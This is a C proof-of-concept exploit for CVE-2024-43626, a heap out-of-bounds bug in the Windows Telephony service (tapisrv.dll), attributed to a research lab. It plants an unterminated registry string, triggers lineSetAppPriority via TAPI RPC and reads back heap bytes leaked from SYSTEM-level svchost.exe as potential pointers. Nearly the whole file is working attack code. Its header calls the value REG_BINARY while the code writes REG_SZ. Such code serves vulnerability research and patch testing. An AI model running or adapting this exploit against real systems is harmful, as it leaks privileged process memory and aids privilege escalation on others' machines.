/*
 * poc_cve_2024_43626.c — Trigger PoC for CVE-2024-43626
 *
 * Heap OOB read/write in tapisrv.dll GetPriorityList due to missing
 * null terminator validation on registry value. Writes a REG_BINARY
 * value without null terminator to HandOffPriorities\RequestMakeCall,
 * then triggers LSetAppPriority via TAPI RPC to cause _wcsupr() to
 * read/write past the heap allocation in svchost.exe (SYSTEM).
 *
 * This PoC demonstrates the INFO LEAK path (non-ASCII prefix avoids
 * the OOB write from _wcsupr while lstrlenW still reads past the
 * buffer and RegSetValueExW writes leaked heap data to registry).
 *
 * Build: cl /nologo /W4 poc_cve_2024_43626.c /link advapi32.lib ole32.lib rpcrt4.lib
 * Run:   poc_cve_2024_43626.exe [-v]
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-26
 */

#define POC_CVE    "CVE-2024-43626"
#define POC_BINARY L"tapisrv.dll"

#include <windows.h>
#include <stdio.h>
#include <tapi.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "version.lib")

static int g_verbose = 0;

/* Registry path for the vulnerable value */
#define HANDOFF_KEY L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities"
#define HANDOFF_VALUE L"RequestMakeCall"

/*
 * Write a registry value WITHOUT a null terminator.
 * We use REG_BINARY type but write wide-character data,
 * which RegQueryValueExW will happily return as a string
 * without null termination.
 */
static BOOL WriteUnteminatedValue(void)
{
    HKEY hKey;
    LSTATUS status;

    status = RegCreateKeyExW(HKEY_CURRENT_USER, HANDOFF_KEY, 0, NULL,
                             REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    if (status != ERROR_SUCCESS) {
        wprintf(L"[-] RegCreateKeyEx failed: %d\n", status);
        return FALSE;
    }

    /*
     * Payload: starts with a non-ASCII character (0x0100) to prevent
     * _wcsupr from doing OOB write (it stops at non-ASCII), but
     * lstrlenW will still read past the buffer looking for L'\0'.
     *
     * Using REG_SZ type but without null terminator — the data
     * is exactly the bytes we write, no auto-appended null.
     */
    WCHAR payload[] = { 0x0100, L'A', L'B', L'C', L'D', L'E', L'F', L'G' };
    DWORD payloadSize = sizeof(payload);  /* No null terminator! */

    status = RegSetValueExW(hKey, HANDOFF_VALUE, 0, REG_SZ,
                           (const BYTE *)payload, payloadSize);
    RegCloseKey(hKey);

    if (status != ERROR_SUCCESS) {
        wprintf(L"[-] RegSetValueEx failed: %d\n", status);
        return FALSE;
    }

    wprintf(L"[+] Wrote unterminated REG_SZ value (%d bytes, no null)\n", payloadSize);
    return TRUE;
}

/*
 * Trigger LSetAppPriority via TAPI lineSetAppPriority.
 * This causes the Telephony Service to read our registry value
 * via GetPriorityListTReqCall -> GetPriorityList -> _wcsupr/lstrlenW.
 */
static BOOL TriggerTAPI(void)
{
    LONG result;

    /* Initialize TAPI */
    HLINEAPP hLineApp = 0;
    DWORD numDevs = 0;
    LINEINITIALIZEEXPARAMS params = { 0 };
    params.dwTotalSize = sizeof(LINEINITIALIZEEXPARAMS);
    params.dwOptions = LINEINITIALIZEEXOPTION_USEEVENT;

    result = lineInitializeExW(&hLineApp, GetModuleHandle(NULL),
                                NULL, L"PoC43626", &numDevs, NULL, &params);
    if (result != 0) {
        wprintf(L"[-] lineInitializeEx failed: 0x%08X\n", result);
        /* Try anyway — the service may still process the priority request */
    }

    /* Call lineSetAppPriority which triggers opnum 69 (LSetAppPriority) */
    result = lineSetAppPriorityW(L"poc_cve_2024_43626.exe",
                                 LINEMEDIAMODE_DATAMODEM,
                                 NULL, 0, NULL, 1);
    wprintf(L"[+] lineSetAppPriority result: 0x%08X\n", result);

    if (hLineApp) {
        lineShutdown(hLineApp);
    }

    return TRUE;
}

/*
 * Read back the registry value to check for leaked heap data.
 * After the RPC call, SetPriorityList may have written back data
 * that includes bytes from adjacent heap chunks.
 */
static void CheckForLeak(void)
{
    HKEY hKey;
    LSTATUS status;

    status = RegOpenKeyExW(HKEY_CURRENT_USER, HANDOFF_KEY, 0, KEY_READ, &hKey);
    if (status != ERROR_SUCCESS) {
        wprintf(L"[-] Cannot open key for reading\n");
        return;
    }

    DWORD type = 0;
    DWORD dataSize = 0;

    /* First query for size */
    status = RegQueryValueExW(hKey, HANDOFF_VALUE, NULL, &type, NULL, &dataSize);
    if (status != ERROR_SUCCESS || dataSize == 0) {
        wprintf(L"[-] Value not found or empty\n");
        RegCloseKey(hKey);
        return;
    }

    BYTE *data = (BYTE *)calloc(1, dataSize + 16);
    status = RegQueryValueExW(hKey, HANDOFF_VALUE, NULL, &type, data, &dataSize);
    RegCloseKey(hKey);

    if (status == ERROR_SUCCESS) {
        wprintf(L"\n[+] Registry value readback: %d bytes (type=%d)\n", dataSize, type);

        /* Check if data is larger than our original payload */
        DWORD originalSize = 8 * sizeof(WCHAR);  /* Our payload was 8 wchars */
        if (dataSize > originalSize) {
            wprintf(L"[!] Value grew from %d to %d bytes — possible heap data leak!\n",
                    originalSize, dataSize);
            wprintf(L"    Extra bytes (potential heap pointers):\n    ");
            for (DWORD i = originalSize; i < dataSize && i < originalSize + 64; i++) {
                wprintf(L"%02X ", data[i]);
                if ((i - originalSize + 1) % 16 == 0) wprintf(L"\n    ");
            }
            wprintf(L"\n");
        } else {
            wprintf(L"    Value size unchanged — OOB read may not have extended far enough\n");
            wprintf(L"    (This is expected on patched systems)\n");
        }
    }

    free(data);
}

static void Cleanup(void)
{
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, HANDOFF_KEY, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegDeleteValueW(hKey, HANDOFF_VALUE);
        RegCloseKey(hKey);
        wprintf(L"[+] Cleaned up registry value\n");
    }
}

int wmain(int argc, wchar_t *argv[])
{
    wprintf(L"=== PoC: %S ===\n", POC_CVE);
    wprintf(L"Binary: %s\n", POC_BINARY);
    wprintf(L"Bug:    Missing null terminator validation in GetPriorityList\n");
    wprintf(L"Impact: Heap OOB R/W in svchost.exe (SYSTEM) + info leak\n\n");

    if (argc > 1 && wcscmp(argv[1], L"-v") == 0)
        g_verbose = 1;

    /* Step 1: Write unterminated registry value */
    wprintf(L"[1] Writing unterminated registry value...\n");
    if (!WriteUnteminatedValue()) {
        return 1;
    }

    /* Step 2: Trigger TAPI RPC to cause the OOB access */
    wprintf(L"\n[2] Triggering LSetAppPriority via TAPI RPC...\n");
    wprintf(L"    This causes _wcsupr/lstrlenW to read past allocation in svchost.exe\n");
    TriggerTAPI();

    /* Step 3: Check for leaked heap data */
    wprintf(L"\n[3] Checking for heap data leak in registry value...\n");
    CheckForLeak();

    /* Cleanup */
    wprintf(L"\n[4] Cleaning up...\n");
    Cleanup();

    wprintf(L"\n[+] On vulnerable systems, step 3 should show extra bytes containing\n");
    wprintf(L"    heap pointers from the svchost.exe process.\n");
    wprintf(L"    On patched systems, the value size should be unchanged.\n");
    return 0;
}
